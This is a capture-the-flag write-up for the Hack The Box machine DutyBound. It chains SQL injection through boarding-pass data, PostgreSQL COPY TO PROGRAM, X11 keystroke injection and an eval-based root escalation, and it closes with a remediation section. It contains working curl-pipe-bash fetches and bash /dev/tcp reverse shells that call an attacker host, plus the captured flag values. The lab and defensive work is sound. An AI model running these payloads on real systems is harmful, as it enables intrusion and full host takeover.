back to writeups

DutyBound

Hack The Box · app.hackthebox.com/machines/DutyBound · Season 12 · solved 25 October 2026 ACDT
Linux Medium Season 12 Machine rank #251 BCBP SQL injection X11 Shell eval User Root ● Completed
TL;DR A valid boarding pass carried SQL injection into the sales audit. The database role's pg_execute_server_program grant provided a postgres shell. X11 input reached the logged-in kiosk user, whose group-writable duty-rate CSV was evaluated by a root service.
Target
10.129.19.28 · airsnacks.htb
HTB solve rank
Player #251 to solve DutyBound
Entry
POST /checkout/boarding-pass/verify
Foothold
Audit SQL injection → PostgreSQL COPY TO PROGRAM
User
XTEST input to Openbox xterm → dutyfree-kiosk
Root
Writable rate CSV → systemd path unit → unsafe eval

01External reconnaissance

The full TCP scan found only three open ports:

22/tcp   open  ssh    OpenSSH 8.9p1 Ubuntu
80/tcp   open  http   nginx
443/tcp  open  https  nginx/1.18.0
nmap -Pn -n -p- --min-rate 1000 -T4 10.129.19.28
echo '10.129.19.28 airsnacks.htb' | sudo tee -a /etc/hosts

HTTP redirected to HTTPS. The TLS name and website pointed to airsnacks.htb, an AirSnacks self-service checkout. The landing page led to /browse, where selecting a product posted its SKU to /cart/add. The basket then linked to /checkout/boarding-pass. A broad path search mainly returned the routes already visible in the application: /browse, /cart, /exit, and /health. A full TCP scan and virtual-host guesses gave no second service or distinct site.

The JavaScript in /static/app.js exposed the scanner request:

postJSON("/checkout/boarding-pass/verify", { raw: "" });

The on-screen scanner always reported “No barcode detected”, but the request was still sent. This meant I could supply raw directly. I first created a basket item so the checkout flow had a cart:

JAR=/tmp/dutybound-cookies.txt
curl -ks -c "$JAR" -b "$JAR" \
  -H 'Content-Type: application/json' \
  -d '{"sku":"SNK-CRN"}' \
  https://airsnacks.htb/cart/add

An empty scan returned BCBP_ERR_FORMAT_CODE with expected 'M' at offset 0. The checkout page also said the boarding-pass details were written to a sales audit log for customs and VAT. That made the pass parser and audit write the strongest lead.

02Building a boarding pass the server accepted

The endpoint parsed a Bar Coded Boarding Pass (BCBP) rather than an arbitrary barcode string. Its first 58 characters contained the fixed data for one flight leg. A two-character hexadecimal length then described the conditional data that followed. Error messages gave precise validation checkpoints:

Input change Server response Correction
Empty raw BCBP_ERR_FORMAT_CODE Start with M
Seat 12A BCBP_ERR_SEAT_FORMAT Use 012A (NNNA)
Sequence 00001 BCBP_ERR_SEQUENCE_FORMAT Use 0001A (four digits and a letter)
Conditional length 00 BCBP_ERR_CONDITIONAL_REQUIRED Add the conditional section
Minimal conditional section BCBP_ERR_ITEM10_MISMATCH Use an accepted item 10 value; 0B worked
Missing leg-specific value BCBP_ERR_ITEM17_MISMATCH Use an accepted item 17 value; 03 worked

This one-leg payload passed the checks:

RAW=$(printf 'M1%-20sE%-7s%-3s%-3s%-3s%-5s%03d%-1s%-4s%-5s%-1s14>70B0WW6298BBA 03125' \
  'TEST/USER' 'ABC123' 'LHR' 'JFK' 'BA' '0123' 298 'Y' '012A' '0001A' '1')

printf 'Length: %s\n' "${#RAW}"  # 80
curl -ks -c "$JAR" -b "$JAR" \
  -H 'Content-Type: application/json' \
  -d "{\"raw\":\"$RAW\"}" \
  https://airsnacks.htb/checkout/boarding-pass/verify

The response was HTTP 200 with an audit_ref, destination JFK, and a signed eligibility_token. For the LHR origin it classified the sale as OFF_AIRPORT and exempt:false. The token was a result of successful parsing, not the exploit primitive.

After SQL enumeration disclosed the store name AirSnacks — HTB International T2, I changed the origin to HTB. With HTB to JFK, the response became regime: INTERNATIONAL and exempt:true, and the basket reflected a £13.30 tax-free saving. The payment page still showed a static “Payment unavailable” message and directed customers to a staff-operated till. That route did not provide the foothold.

03SQL injection in airline-use data

The conditional section could contain additional airline-use data after the validated 03125 prefix. Its total length had to match the two-character hexadecimal length. I used this small helper to make each attempt consistent:

#!/usr/bin/env python3
import sys
import requests

BASE = "https://airsnacks.htb"

def boarding_pass(airline_use: str, origin: str = "LHR") -> str:
    fixed = (
        f"M1{'TEST/USER':<20}E{'ABC123':<7}"
        f"{origin:<3}{'JFK':<3}{'BA':<3}{'0123':<5}"
        f"298Y{'012A':<4}{'0001A':<5}1"
    )
    conditional = ">70B0WW6298BBA 03125" + airline_use
    assert len(fixed) == 58
    assert len(conditional) <= 255
    return fixed + f"{len(conditional):02X}" + conditional

session = requests.Session()
session.verify = False
requests.packages.urllib3.disable_warnings()
session.post(BASE + "/cart/add", json={"sku": "SNK-CRN"})
response = session.post(
    BASE + "/checkout/boarding-pass/verify",
    json={"raw": boarding_pass(sys.argv[1])},
)
print(response.status_code, response.text)

Save it as bcbp.py and run python3 bcbp.py '<airline-use-data>'. A lone quote produced a PostgreSQL error wrapped as DCS_ERR_INTERNAL, including an “unterminated quoted string” detail. That established that the airline-use value was being inserted into SQL as a string literal.

I then used an error-based expression to inspect the database identity:

python3 bcbp.py "'||(SELECT current_user)::int||'"

The integer cast failed on the text value airsnacks_app. The same pattern let me query information_schema and the application tables. The public schema contained airport, duty_rate, airline_ref, interline_partner, catalog_item, store_config, and bp_scan_audit. An audit row had kiosk ID dutyfree-kiosk7. The store_config row identified the store as AirSnacks — HTB International T2.

For example, these two expressions could be dropped into the same '||(SELECT ... )::int||' wrapper to make PostgreSQL return a table list or the kiosk ID in its cast error:

SELECT string_agg(table_name, ',')
FROM information_schema.tables
WHERE table_schema = 'public';

SELECT kiosk_id FROM bp_scan_audit LIMIT 1;

The decisive database check was:

SELECT pg_has_role(current_user, 'pg_execute_server_program', 'MEMBER')::text;

It returned true. The role was not a superuser and did not hold the server-file read or write roles, but pg_execute_server_program was enough for COPY ... TO PROGRAM. A stacked-statement probe, '); SELECT 1;--, also succeeded. From there the injection could execute a shell command on the database server:

python3 bcbp.py \
  "'); COPY (SELECT 'x') TO PROGRAM 'curl -fsS http://10.10.15.44:8000/sql';--"

My Kali HTTP listener received GET /sql from the target. The endpoint returned HTTP 500 because the listener replied 404 and curl -f exited with status 22. The callback, rather than the HTTP status, confirmed command execution.

For a shell, I served this script from Kali:

cat > /home/lanky/rev.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.44/4444 0>&1
EOF

python3 -m http.server 8000 --directory /home/lanky --bind 10.10.15.44
# In another terminal: nc -lvnp 4444
python3 bcbp.py \
  "'); COPY (SELECT 'x') TO PROGRAM 'curl -s http://10.10.15.44:8000/rev.sh | bash >/dev/null 2>&1 &';--"

The reverse shell ran as the operating-system account postgres (UID 114). PostgreSQL runs COPY TO PROGRAM on the server as its own OS user; the application was not directly executing the command.

Once on the host, /opt/vrs/airsnacksdf/dcs_bridge/audit.py showed the cause. record_export_evidence built an INSERT INTO bp_scan_audit query with Python % interpolation and placed bp.airline_use inside the final quoted SQL value before calling cur.execute(sql). The relevant ending was:

"... %d, '%s')" % (
    # Other boarding-pass fields omitted here.
    len(raw), bp.airline_use
)
cur.execute(sql)

The parser checked the mandatory boarding-pass fields, but the trailing airline-use field remained attacker-controlled when the audit query was constructed. Parameterized SQL would have prevented the quote and stacked statement from changing the query structure.

04From postgres to the kiosk user

The postgres shell could not read the user’s home directory. Process enumeration revealed that dutyfree-kiosk was already logged into an Openbox desktop on X display :0, running Firefox in kiosk mode against https://airsnacks.htb. The X server was accessible from the postgres context:

ps -u dutyfree-kiosk -f
DISPLAY=:0 xset q

The system Openbox configuration at /etc/xdg/openbox/rc.xml bound Ctrl+Alt+T to xterm. xdotool was absent, but Python Xlib and its XTEST extension were installed. Sending the shortcut through XTEST opened an xterm owned by dutyfree-kiosk:

from Xlib import X, XK, display
from Xlib.ext import xtest
import time

d = display.Display(":0")

def key(name, down):
    code = d.keysym_to_keycode(XK.string_to_keysym(name))
    xtest.fake_input(d, X.KeyPress if down else X.KeyRelease, code)

key("Control_L", True)
key("Alt_L", True)
key("t", True)
key("t", False)
key("Alt_L", False)
key("Control_L", False)
d.sync()
time.sleep(1)

I confirmed the new window and process belonged to dutyfree-kiosk. Then I typed a command into that terminal through XTEST. This is the same Xlib mechanism, with a few punctuation names mapped explicitly:

from Xlib import X, XK, display
from Xlib.ext import xtest
import time

d = display.Display(":0")
names = {" ": "space", ":": "colon", "/": "slash",
         ".": "period", "|": "bar"}

def tap(char):
    sym = XK.string_to_keysym(names.get(char, char))
    code = d.keysym_to_keycode(sym)
    if not code:
        raise ValueError(f"No keycode for {char!r}")
    shifted = d.keycode_to_keysym(code, 0) != sym
    shift = d.keysym_to_keycode(XK.string_to_keysym("Shift_L"))
    if shifted:
        xtest.fake_input(d, X.KeyPress, shift)
    xtest.fake_input(d, X.KeyPress, code)
    xtest.fake_input(d, X.KeyRelease, code)
    if shifted:
        xtest.fake_input(d, X.KeyRelease, shift)
    d.sync()
    time.sleep(0.03)

for char in "curl http://10.10.15.44:8000/user.sh|bash":
    tap(char)
tap("Return")

On Kali, user.sh contained a Bash reverse shell to port 4445, and nc -lvnp 4445 was listening. The resulting connection identified as dutyfree-kiosk. It could read /home/dutyfree-kiosk/user.txt:

588f9224e4baf9b9ecbbbf643e906c46

The trust boundary here was the live graphical session. A lower-privileged service account that could use the X display could send keystrokes to a terminal in another user’s session.

05A writable root input file

The kiosk account belonged to pos-ops. Searching for files writable by that group found a duty-rate CSV:

id
find /etc /opt /usr/local /var -group pos-ops -ls 2>/dev/null
ls -ld /opt/vrs/data
ls -l /opt/vrs/data/duty-rates.csv
systemctl is-active vrs-duty-apply.path
drwxrwxr-x root pos-ops /opt/vrs/data
-rw-rw-r-- root pos-ops /opt/vrs/data/duty-rates.csv

The rates file contained ordinary rows such as:

SPIRITS,45,20
WINE,25,20
BEER,25,20
SOFT_DRINKS,20,20
SNACKS,20,20
CONFECTIONERY,20,20
WATER,0,0

An active systemd path unit, /etc/systemd/system/vrs-duty-apply.path, watched PathModified=/opt/vrs/data/duty-rates.csv and triggered vrs-duty-apply.service. The service ran /opt/vrs/bin/apply-duty-rates.sh as root. The script validated only the second and third CSV fields as digits. It then evaluated the first field as shell code:

while IFS=, read -r tax_class duty_pct vat_pct; do
  if ! [[ "$duty_pct" =~ ^[0-9]+$ && "$vat_pct" =~ ^[0-9]+$ ]]; then
    continue
  fi
  eval "${tax_class}=${duty_pct}"
done < "$RATES"

It later checked required tax-class variables and loaded the CSV into PostgreSQL. By preserving the original rows below a malicious first row, I let the required-variable check pass after the command had already run. The input did not need to be valid CSV for the later database load; execution occurred first.

06Root through the rate import

From the dutyfree-kiosk shell, I saved a backup of the clean CSV:

cp /opt/vrs/data/duty-rates.csv /tmp/duty-rates.csv.orig

On Kali, I staged the root callback and listened on port 4446. The HTTP server from the SQL injection stage was still serving /home/lanky:

cat > /home/lanky/root.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.44/4446 0>&1
EOF

# In a separate Kali terminal:
nc -lvnp 4446

From the dutyfree-kiosk shell, I built the replacement file and wrote it over the watched CSV:

printf '%s\n' \
  'true;curl -s http://10.10.15.44:8000/root.sh|bash;#,1,1' \
  > /tmp/duty-rates.csv.new
cat /tmp/duty-rates.csv.orig >> /tmp/duty-rates.csv.new
cat /tmp/duty-rates.csv.new > /opt/vrs/data/duty-rates.csv

With IFS=,, the first row sets tax_class to true;curl -s http://10.10.15.44:8000/root.sh|bash;#, while duty_pct and vat_pct are both 1 and pass the numeric regexes. The eval statement becomes:

true;curl -s http://10.10.15.44:8000/root.sh|bash;#=1

The semicolons end the benign true command, the pipe executes the callback script, and # comments out the appended =1. The path unit detected the CSV write and ran the script as root. My first version backgrounded the pipeline and failed to keep a root connection; the foreground form above worked. The listener received a root shell and /root/root.txt contained:

769e87447b7bb5b0f356b14397a01aea

07Cleanup and attack path

I restored the original CSV and confirmed it matched the backup:

cat /tmp/duty-rates.csv.orig > /opt/vrs/data/duty-rates.csv
cmp /tmp/duty-rates.csv.orig /opt/vrs/data/duty-rates.csv

The first in-flight service invocation had failed after the malicious row. Writing the clean file again retriggered the path unit; systemctl status vrs-duty-apply.service --no-pager -l then showed status=0/SUCCESS. I closed the extra xterm, reverse shells, and Kali HTTP listener.

AirSnacks scanner endpoint
        ↓ valid BCBP with attacker-controlled airline-use data
SQL injection in bp_scan_audit INSERT
        ↓ stacked COPY TO PROGRAM
postgres shell
        ↓ X11 XTEST input into live Openbox session
dutyfree-kiosk shell → user.txt
        ↓ pos-ops writable CSV + root systemd path service
unsafe eval in apply-duty-rates.sh
        ↓
root shell → root.txt

08Preventing the attack chain

The fixes have to break each trust boundary. A DISA STIG baseline helps harden the host, accounts, permissions and audit settings, but it does not repair application code that builds SQL strings or evaluates CSV fields as shell commands. I would implement the code changes first, then audit the deployed host against the benchmark for its actual OS release.

Bind boarding-pass values in the audit query

Replace Python string interpolation in record_export_evidence with driver parameters. Keep the SQL structure constant and pass every boarding-pass field as data, including airline_use:

cur.execute(
    """INSERT INTO bp_scan_audit
       (audit_ref, kiosk_id, ts, pnr, pax_name, carrier, flight_no,
        dep_julian, origin, dest, ff_carrier, ff_number, raw_len, airline_use)
       VALUES (%s, %s, now(), %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)""",
    (audit_ref, KIOSK_ID, bp.pnr.strip(), bp.pax_name.rstrip(),
     bp.carrier.strip(), bp.flight_no.strip(), bp.julian, bp.origin,
     bp.dest, bp.ff_carrier.strip(), bp.ff_number.strip(), len(raw),
     bp.airline_use),
)

Keep BCBP length and format checks, cap the airline-use field to the allowed size, and return a generic error to the client while retaining detailed diagnostics in protected logs. A regression test should submit a quote and the former stacked-query payload, confirm they cannot change SQL execution, and confirm an ordinary boarding pass still records an audit row. This follows OWASP's parameterized-query guidance.

Remove database server-program execution

The checkout role should have only the table privileges needed for the sale and audit workflow. Remove direct and inherited membership in pg_execute_server_program; that predefined role authorizes commands on the database host through COPY ... PROGRAM. Check membership after the change:

REVOKE pg_execute_server_program FROM airsnacks_app;
SELECT pg_has_role('airsnacks_app', 'pg_execute_server_program', 'MEMBER');
-- expected: false

If the check remains true, inspect and remove the grant through a containing role. The application account should not own the database, hold superuser-like roles, or have broad rights over unrelated tables. Verify that checkout still works and that the former COPY TO PROGRAM probe is rejected.

Isolate the kiosk desktop from service accounts

Only the kiosk login should possess the X11 authorization cookie. Keep its XAUTHORITY file private, remove broad xhost entries, and prevent postgres and web-service accounts from joining display :0. X.Org documents that a trusted X client can inject input into other clients, so removing the Ctrl+Alt+T shortcut or xterm alone is only a secondary measure. A separately isolated kiosk session or a compositor with stronger client isolation is preferable.

# Check the boundary after changing display authorization:
sudo -u postgres env DISPLAY=:0 xset q
# expected: authorization denied, not a successful display report

Make the rates file data, not root-executed code

The kiosk account must not be able to edit or replace the watched CSV. Remove group write permission from both the file and its parent directory; a read-only file inside a writable directory can still be replaced. Keep updates behind an administrator-controlled import path:

sudo chown root:pos-ops /opt/vrs/data /opt/vrs/data/duty-rates.csv
sudo chmod 0750 /opt/vrs/data
sudo chmod 0640 /opt/vrs/data/duty-rates.csv
stat -c '%A %U %G %n' /opt/vrs/data /opt/vrs/data/duty-rates.csv

Delete eval. Parse exactly three CSV fields, allow only known tax classes, convert percentages to bounded integers, and reject the entire update before modifying the database if any row fails. A Bash implementation can use an associative array after validation:

declare -A duty
case "$tax_class" in
  SPIRITS|WINE|BEER|SOFT_DRINKS|SNACKS|CONFECTIONERY|WATER) ;;
  *) exit 1 ;;
esac
[[ "$duty_pct" =~ ^(0|[1-9][0-9]{0,2})$ && "$vat_pct" =~ ^(0|[1-9][0-9]{0,2})$ ]] || exit 1
(( duty_pct <= 100 && vat_pct <= 100 )) || exit 1
duty["$tax_class"]=$duty_pct

Run parsing and validation under a dedicated unprivileged service account. After separating the privileged restart or deployment step, restrict the systemd unit with settings such as NoNewPrivileges=yes, ProtectSystem=strict, ProtectHome=yes and narrow write paths. Review the revised unit with systemd-analyze security vrs-duty-apply.service. Test that a semicolon-bearing tax class is rejected without executing and that the original rate file imports successfully.

Use the matching STIG as a measured host baseline

First identify the distribution and release with cat /etc/os-release. For a supported Ubuntu release with Ubuntu Pro and Ubuntu Security Guide installed, Canonical documents sudo usg audit disa_stig, which produces HTML and XML findings. Generate a tailoring file for site-specific values, test remediation in staging, then re-audit. Record exceptions and operational impact rather than claiming STIG compliance from a script run alone. The DISA STIG library is the source for the release-matched benchmark.

cat /etc/os-release
sudo usg audit disa_stig
sudo usg generate-tailoring disa_stig tailor.xml
sudo usg audit --tailoring-file tailor.xml
Benchmark or guideWhat to assess hereEvidence to retain
DISA Application Security and Development STIGAudit input handling, SQL construction, error exposure and application privileges against the current application benchmark.Reviewed query change and passing injection regression tests.
Release-matched Ubuntu DISA STIGAudit service accounts, permissions, system audit configuration and host hardening after confirming the actual OS release.USG HTML/XML report, tailoring decisions and corrected file modes.
Applicable database STIG and PostgreSQL vendor guidanceReview role grants and database audit configuration for the installed PostgreSQL version.Role inventory and a false pg_has_role result for server-program execution.

The final evidence should include the code review and regression tests, PostgreSQL role check, denied X11 connection, corrected file modes, a passing rate-import test, the revised systemd exposure report, and the STIG audit results. Those checks demonstrate that the exploit chain was broken while the checkout still works.

09ACS certification evidence

This authorised lab records a complete testing cycle: scoping, enumeration, hypothesis testing, exploitation, privilege escalation, validation, cleanup and clear reporting. The table below is an indicative mapping of work shown on this page to SFIA skills. It does not claim a particular SFIA level or replace evidence of workplace responsibility.

SFIA skillEvidence in this writeup
PENT — Penetration testingConstructed a valid boarding pass, proved SQL injection and database command execution, crossed the kiosk session boundary, and validated root access.
VUAS — Vulnerability assessmentTraced each weakness to its cause: string-built SQL, an excessive database role, shared X11 access, and shell evaluation of group-writable data.
SCTY — Information securityTranslated the attack path into specific controls for input handling, database privileges, desktop isolation, importer validation and service privilege.

The commands, error responses, source-code observations and cleanup steps make the findings reproducible. The defensive section shows how I connected technical failures to practical controls. ACS certification also assesses experience, qualifications and professional practice; workplace evidence and referees establish the level of responsibility that a training lab cannot show on its own.

References

back to writeups